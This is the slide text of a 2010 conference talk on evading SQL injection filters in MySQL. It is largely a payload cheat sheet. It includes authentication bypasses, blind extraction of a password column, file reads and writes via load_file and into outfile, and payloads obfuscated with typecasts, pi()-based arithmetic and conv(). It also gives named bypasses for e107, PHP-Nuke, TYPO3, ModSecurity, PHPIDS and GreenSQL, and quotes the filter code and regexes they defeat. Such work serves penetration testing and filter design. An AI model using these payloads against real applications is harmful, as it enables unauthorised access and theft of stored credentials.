SQLi filter evasion and obfuscation
Johannes Dahse, Prague, Czech Republic, 29-30.11.2010
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Who am I?
Johannes Dahse Based in Bochum, Germany IT security student at the Ruhr-University websec.wordpress.com RIPS - static source code analyser for PHP
(sourceforge.net/projects/rips-scanner/)
@FluxReiners (twitter.com) This is my first talk, be nice :)
2
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Topic
Filter evasion during SQL injection (SQLi) attacks Howto bypass filters in products and applications Why blacklist filters for SQLi are bad SQL foo, new perspective on SQL MySQL only (widely spread, very flexible: think Javascript) No SQLi basics No stored procedure injections EXEC(0x616263)
3
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
We will see how this works:
true-(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()), pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))), conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi( )-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(), pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))), lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))), conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi() +pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi (),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))))) from(pass))),length(pass)))
4
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Convention
For this presentation we assume the following SQLi: $name = filter( $_GET['name'] ); SELECT data FROM users WHERE name = '$name' Goal: Auth Bypass or reading the column pass The following slides only list the injection: ' or 1=1-- SELECT data FROM users WHERE name = '' or 1=1-- -'
5
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
1. MySQL syntax and auth bypass
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Flexible MySQL syntax (1)
Comments: #, -- x, /* (MySQL < 5.1), ;%00 ' or 1=1;%00 (LightOS) ' or 1=1 union select 1,2`alias starts... (.mario) ' or # line comment, continue on newline 1='1 '/*!50000or*/1=1-- '/*!or*/1=1-- 7
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Flexible MySQL syntax (2)
Prefixes (combine arbitrarily): + - ~ ! ' or --+2=- -!!!'2 Operators: ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN, ...
' or 1 rlike '1
non-breaking space
Whitespaces: %20 %09 %0a %0b %0c %0d %a0 /**/ also adjacent parenthesis (), operators, prefixes, quotes 'or+(1)sounds/**/like1--%a08
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Flexible MySQL syntax (3)
Strings (with quotes):
' or a = 'a ' or 'a' = n'a ' or 'a' = b'1100001 ' or 'a' = _binary'1100001 ' or 'a' = x'61
9
# unicode # binary # hexadecimal
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
MySQL gadgets
Constants: true, false, null, \N, current_timestamp,
http://dev.mysql.com/doc/refman/5.1/en/reserved-words.html
Variables: @myvar:=1 System variables: @@version, @@datadir, ... mysql> show variables; // 272 rows in set
http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html
Functions: version(), pi(), pow(), char(), substring(), ...
http://dev.mysql.com/doc/refman/5.0/en/functions.html
10
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
MySQL typecasting (1)
Implicit typecasts: ' or 1 = true # true=1, false=0 ' or 1 # true ' or version() = 5.1 # 5.1.36-community-log ' or round(pi(),1)+true+true = version() # 3.1+1+1 = 5.1
11
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
MySQL typecasting (2)
select * from users where 'a'='b'='c' select * from users where ('a'='b')='c' select * from users where (false)='c' select * from users where (0)='c' select * from users where (0)=0 select * from users where true select * from users
12
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Auth bypass
Shortest authentication bypass: select data from users where select data from users where
'=' false = '' # bool typecast 0 = 0 # int typecast
select data from users where name = ''=''
13
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Auth bypass
Shortest authentication bypass: select data from users where select data from users where This looks even shorter:
'=' false = '' # bool typecast 0 = 0 # int typecast '-' # int typecast # int typecast
select data from users where name = ''=''
select data from users where name = ''-'' select data from users where name = 0-0 select data from users where 14 0=0
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
We have seen:
or 1=1-injection is hard to detect Very long (arithmetic, prefixes) or very short ( '-' ) Whitespaces are almost never needed 'or+1=n'1 MySQL comment types are almost never needed '...and'1 Even special characters are not needed so far: or true like true
15
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
2. Keyword filter
16
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter
Same techniques can be applied to more complex SQLi However often different SQL keywords are detected No way to obfuscate SQL keywords (no eval()), except for upper/lower case SeLecT Btw: sel/**/ect does not work on MySQL > 4.1 but is still seen very often on SQL cheatsheets Often possible to use alternate (less typical) keywords
17
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter OR, AND
Easy one: '||1='1 '=' Same for AND: '&&1='1
OR AND UNION LIMIT WHERE GROUP HAVING SELECT INTO
Lets quickly go ahead ...
18
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter UNION
Often together with /union\s+select/i Connected keyword filters are often easy to bypass 'and(true)like(false)union(select(pass)from(users))# 'union [all|distinct] select pass from users# 'union%a0select pass from users# 'union/*!select*/pass from users# /vuln.php?id=1 union/*&sort=*/select pass from users-- 19
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter UNION
When union is filtered as single keyword, use blind SQLi: ' and (select pass from users limit 1)='secret
OR AND UNION LIMIT WHERE GROUP HAVING SELECT INTO
Important: subselect has to return one single value Otherwise: Error: subselect returned more than 1 row
20
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter LIMIT
Often used, but often not necessary ' and (select pass from users limit 1)='secret
OR AND UNION LIMIT WHERE GROUP HAVING SELECT INTO
Alternatives for limiting the subquery result to 1 row:
' and (select pass from users where id =1)='a ' and (select pass from users group by id having id = 1)='a
21
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter GROUP
Often used, but often not necessary ' and (select pass from users limit 1)='secret
OR AND UNION LIMIT WHERE GROUP HAVING SELECT INTO
Alternatives for limiting the subquery result to 1 row:
' and (select pass from users where id =1)='a ' and (select pass from users group by id having id = 1)='a Without GROUP BY: ' and length((select pass from users having substr(pass,1,1)='a'))
22
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter HAVING
It is possible to limit a subselect without these operators:
OR AND UNION LIMIT WHERE GROUP HAVING SELECT INTO
' and (select substr(group_concat(pass),1,1) from users)='a
group_concat() is limited to 1024 chars. Solution: group_concat(substr(pass,1,4)) group_concat(substr(pass,5,4)) ... Or another alternative:
' and substr((select max(replace(pass,'lastpw','')) from users),1,1)='a
23
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT
So far everything was easy when using a subselect and some buildin functions
But what do we do without SELECT ?
24
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT
Again easy for /SELECT\s+[A-Za-z\.]+\s+FROM/i select [all|distinct] pass from users select`table_name`from`information_schema` . `tables` select pass as alias from users select pass aliasalias from users select pass`alias alias`from users select+pass%a0from(users)
25
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT
A /select/i filter is tricky
OR AND UNION LIMIT WHERE GROUP HAVING SELECT FILE
1) you have the FILE privilege ' and substr(load_file('file'),locate('DocumentRoot', (load_file('file')))+length('DocumentRoot'),10)='a '='' into outfile '/var/www/dump.txt
26
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT
2) You know the column names:
OR AND UNION LIMIT WHERE GROUP HAVING SELECT FILE
2a) open source software 2b) guess/bruteforce the column names ' and data is not null# 2c) retrieving the column names with procedure analyse(): ' procedure analyse()# 1 test.users.data 0 0 0 0 0.0 CHAR(0) NOT NULL
27
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT
OR AND UNION LIMIT WHERE GROUP HAVING SELECT FILE
Then you can append other WHERE conditions:
Admin' and substr(pass,1,1) = 'a What if we can't use boolean operands like and?
28
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT, AND, &
Remember automatic typecasts:
'-0#
select data from users where name = ''-0 # int typecast select data from users where name = 0 select data from users where 0 = 0 # int typecast # true # false
'-1#
select data from users where 0 = -1
29
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT, AND, &
We can differentiate between true and false and add an condition with ifnull(nullif()), case when or if():
'-if(name='Admin',1,0)#
30
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter SELECT, AND, &
We can differentiate between true and false and add an condition with ifnull(nullif()), case when or if():
'-if(name='Admin',1,0)#
Adding a second condition: '-if( if(name='Admin',1,0), if(substr(pass,1,1)='a',1,0) ,0)#
31
// condition // if true // if false
0. Introduction 1. MySQL syntax 2. Keyword filter 3. Function filter
Keyword filter ...
Can be all bypassed (depending on the goal)
Mainly functions needed
32
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
3. Function filter
33
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
Function filter ...
By now we almost always used functions to extract strings or substrings
And we used 'quoted strings' which fails for magic_quotes i.e.
Lets see how tough function filter are No way to obfuscate function names, except: load_file () load_file/*foo*/()
34
# not all functions
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
String builder (1)
Building strings without quotes
unhex char hex ascii ord substr substring mid pad left right insert
' and substr(data,1,1) = 'a'# ' and substr(data,1,1) = 0x61# ' and substr(data,1,1) = unhex(61)# ' and substr(data,1,1) = char(97)# 0x6162 unhex(6162) char(97,98)
35
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
String builder (2)
Building strings without quotes
unhex char hex ascii ord substr substring mid pad left right insert
' and substr(data,1,1) = 'a'# ' and hex(substr(data,1,1)) = 61# ' and ascii(substr(data,1,1)) = 97# ' and ord(substr(data,1,1)) = 97#
36
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
String builder (3)
Previous functions are well known My favourite:
unhex char hex ascii ord conv substr substring mid pad left right insert
' and substr(data,1,1) = lower(conv(10,10,36))# ' and substr(data,1,1) = lower(conv(11,10,36))# ' and substr(data,1,1) = lower(conv(36,10,36))#
'a' 'b' 'z'
What if all string builders are filtered and quotes blocked?
37
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
Building strings with gadgets (1)
collation(\N) collation(user()) @@time_format @@binlog_format @@version_comment dayname(from_days(401)) dayname(from_days(403)) monthname(from_days(690)) monthname(from_unixtime(1))
38
// binary // utf8_general_ci // %H:%i:%s // MIXED // MySQL Community Server (GPL) // Monday // Wednesday // November // January
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
Building strings with gadgets (2)
The tough ones are k and z:
// koi8r_general_ci collation(convert((1)using/**/koi8r)) (select(collation_name)from(information_schema.collations)where(id)=22) // latin2_czech_cs (select(collation_name)from(information_schema.collations)where(id)=2)
39
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
Building strings with gadgets (2)
The tough ones are k and z:
// koi8r_general_ci collation(convert((1)using/**/koi8r)) (select(collation_name)from(information_schema.collations)where(id)=22) // latin2_czech_cs
Czech rocks !!!
(select(collation_name)from(information_schema.collations)where(id)=2)
40
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
Building strings with gadgets (3)
Alternatives and special characters:
aes_encrypt(1,12) des_encrypt(1,2) @@ft_boolean_syntax @@date_format @@innodb_log_group_home_dir // 4h{?"^zHEa // G/k // + -><()~*:""&| // %Y-%m-%d // .\
41
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
Substring builder (1)
Besides building strings a way to create substrings of the selected data is necessary:
unhex char hex ascii ord conv substr substring mid pad left right insert
' and substr(data,1,1) = 'a'# ' and substring(data,1,1) = 'a'# ' and mid(data,1,1) = 'a'#
All 3 functions work without comma too: ' and substr(data from 1 for 1) = 'a'#
42
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
Substring builder (2)
But all 3 functions are well known
unhex char hex ascii ord conv substr substring mid pad left right insert
More obfuscated ways to build a substring: lpad(data,1,space(1)) rpad(data,1,space(1)) left(data,1) reverse(right(reverse(data),1)) insert(insert(version(),1,0,space(0)),2,222,space(0))
43
// lpad('hi',4,'?') = '??hi' // rpad('hi',4,'?') = 'hi??'
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
String bruteforce (1)
Some functions allow to search substrings: '-if(locate('f',data),1,0)# '-if(locate('fo',data),1,0)# '-if(locate('foo',data),1,0)# instr(), position()
44
unhex char hex ascii ord conv substr substring mid pad left right insert
1. MySQL syntax 2. Keyword filter 3. Function filter 4. Gathering
String bruteforce (2)
Some functions allow to cut substrings:
unhex char hex ascii ord conv substr substring mid pad left right insert
length(trim(leading 'a' FROM data)) # length will be shorter length(replace(data, 'a', '')) # length will be shorter
45
2. Keyword filter 3. Function filter 4. Gathering 5. Apps bypass
4. Putting everything together
46
2. Keyword filter 3. Function filter 4. Gathering 5. Apps bypass
What do we need ...
1 control flow operator 1 compare operator 1 substring builder or bruteforcer 1 string builder
(select, case, if(), ...) (=, like, mod(), ...) (mid(), left(), rpad(), ) (locate(), instr(), ) (0x61, hex(), conv(), gadgets!)
Basically: unsuspicious functions and some characters: [parenthesis], [commas], integers
47
2. Keyword filter 3. Function filter 4. Gathering 5. Apps bypass
Integers ...
May play an important role in a filter /[A-Za-z\/\*]+\s*\(.*\d+.*\)/ function call detected do we really need them?
48
2. Keyword filter 3. Function filter 4. Gathering 5. Apps bypass
Nope ...
false true true+true floor(pi()) ceil(pi()) floor(version()) ceil(version()) ceil(pi()+pi()) !pi() !!pi() 0 1 2 3 4 5 6 7 ceil(pi()*pi()) ceil(pi()*pi())+true 10 11 ceil((pi()+pi())*pi()) ceil(ceil(pi())*version()) ceil(pi()*ceil(pi()+pi())) ceil((pi()+ceil(pi()))*pi()) ceil(pi())*ceil(version()) floor(pi()*(version()+pi())) floor(version()*version()) ceil(version()*version()) ceil(pi()*pi()*pi()-pi()) floor(pi()*pi()*floor(pi())) 20 21 22 23 24 25 26 27 28 29 ceil(pi()+pi()+version()) 12 floor(pi()*pi()+pi()) ceil(pi()*pi()+pi()) ceil(pi()*pi()+version()) floor(pi()*version()) ceil(pi()*version()) 13 14 15 16 17
floor(version()+pi()) 8 floor(pi()*pi()) 9
ceil(pi()*version())+true 18 floor((pi()+pi())*pi())
49
19
2. Keyword filter 3. Function filter 4. Gathering 5. Apps bypass
Nope ...
false true true+true floor(pi()) ceil(pi()) floor(version()) ceil(version()) ceil(pi()+pi()) !pi() !!pi() 0 1 2 3 4 5 6 7 ceil(pi()*pi())
conv([10-36],10,36)
10 A 11 B ceil((pi()+pi())*pi()) ceil(ceil(pi())*version()) ceil(pi()*ceil(pi()+pi())) ceil((pi()+ceil(pi()))*pi()) ceil(pi())*ceil(version()) floor(pi()*(version()+pi())) floor(version()*version()) ceil(version()*version()) ceil(pi()*pi()*pi()-pi()) floor(pi()*pi()*floor(pi())) 20 K 21 L 22 M 23 N 24 O 25 P 26 Q 27 R 28 S 29 T
ceil(pi()*pi())+true
ceil(pi()+pi()+version()) 12 C floor(pi()*pi()+pi()) ceil(pi()*pi()+pi()) ceil(pi()*pi()+version()) floor(pi()*version()) ceil(pi()*version()) 13 D 14 E 15 F 16 G 17 H
floor(version()+pi()) 8 floor(pi()*pi()) 9
ceil(pi()*version())+true 18 I floor((pi()+pi())*pi())
50
19 J
2. Keyword filter 3. Function filter 4. Gathering 5. Apps bypass
conv(25,10,36) = P
true-(mod(length(trim(leading(concat(lower(conv(version()*(true+pi()), pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))), conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi( )-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(), pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))), lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))), conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi() +pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi (),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))))) from(pass))),length(pass)))
mod(length(),length())
51
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
5. Application bypasses
52
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
e107 CMS
filter:
$inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { foreach($inArray as $res) { if(stristr($_SERVER['QUERY_STRING'], $res)) { die("Access denied."); } } }
vuln.php/trackback?inject=UNI%6fN SELECT
53
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
PHP-Nuke CMS
filter:
if(isset($_SERVER['QUERY_STRING']) && (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { $queryString = $_SERVER['QUERY_STRING']; if ( stripos($queryString, '%20union%20') OR stripos($queryString, '/*') OR stripos($queryString, '*/union/*') OR stripos($queryString, '+union+') OR stripos($queryString, 'concat')) { die('Illegal Operation');
vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'
54
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
TYPO3 CMS
filter:
$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence
vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users` Most filters in applications are implemented wrongly or can be tricked very easily
55
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
6. Vendor bypasses
56
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
ModSecurity
Based on regular expressions Core Rule Set (CRS) and optional rules Lots of different configuration possibilities
57
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
ModSecurity (latest CRS 2.0.9 base_rules)
Auth Bypass: 1'or 1='1 Subselect: 1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1
Union select: 1'union/*!select*/pass,load_file(0x123456789)from users-- 58
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
PHPIDS
Based on regular expressions and the PHPIDS centrifuge Tough filters !! Improving filters since August 2007
http://sla.ckers.org/forum/read.php?12,30425
Filter rules adapted in a lot of projects (including ModSecurity optional rules)
59
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
PHPIDS 0.6.4 bypasses
Auth bypass: foo'!=@a:=0x1 div'1a false != true Subselect: foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0
Union select: a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1end
60
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
GreenSQL
Acts as proxy between application and DBMS Application connects to GreenSQL database (Proxy) and will be forwarded to the real database Detects keywords such as union, information_schema, into outfile, current_user, current_date, version Detects functions such as mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version() SQL tautology to detect true expressions
61
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
GreenSQL 1.3.0 bypasses
Auth Bypass: adm' 'in' or 1='1 Union select everything: '-(1)union(select table_name,load_file('/tmp/test'),@@version from /*! information_schema.tables */);%00
Write to file: '-'' into%a0outfile '/tmp/test
62
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
GreenSQLi
// add database filter evasion for the win if ( !ereg("^[a-zA-Z0-9_\ -]+$", $db_name) ) { /* error */ }
63
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
Summarized
MySQL syntax is very flexible Blacklist filters can detect basic and some obfuscated hacking attempts and warn administrators It's just a matter of time to bypass blacklist filters Additional code means more attack surface Use whitelists and sanitize all userinput correctly !
64
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
SQLi filter evasion cheat sheet
http://websec.wordpress.com
65
3. Function filter 4. Gathering 5. Apps bypass 6. Vendor bypass
Questions
johannes.dahse@rub.de
66
Thank you! Enjoy the conference.
THANKS .mario, LightOS, Yuli, FluxFingers
67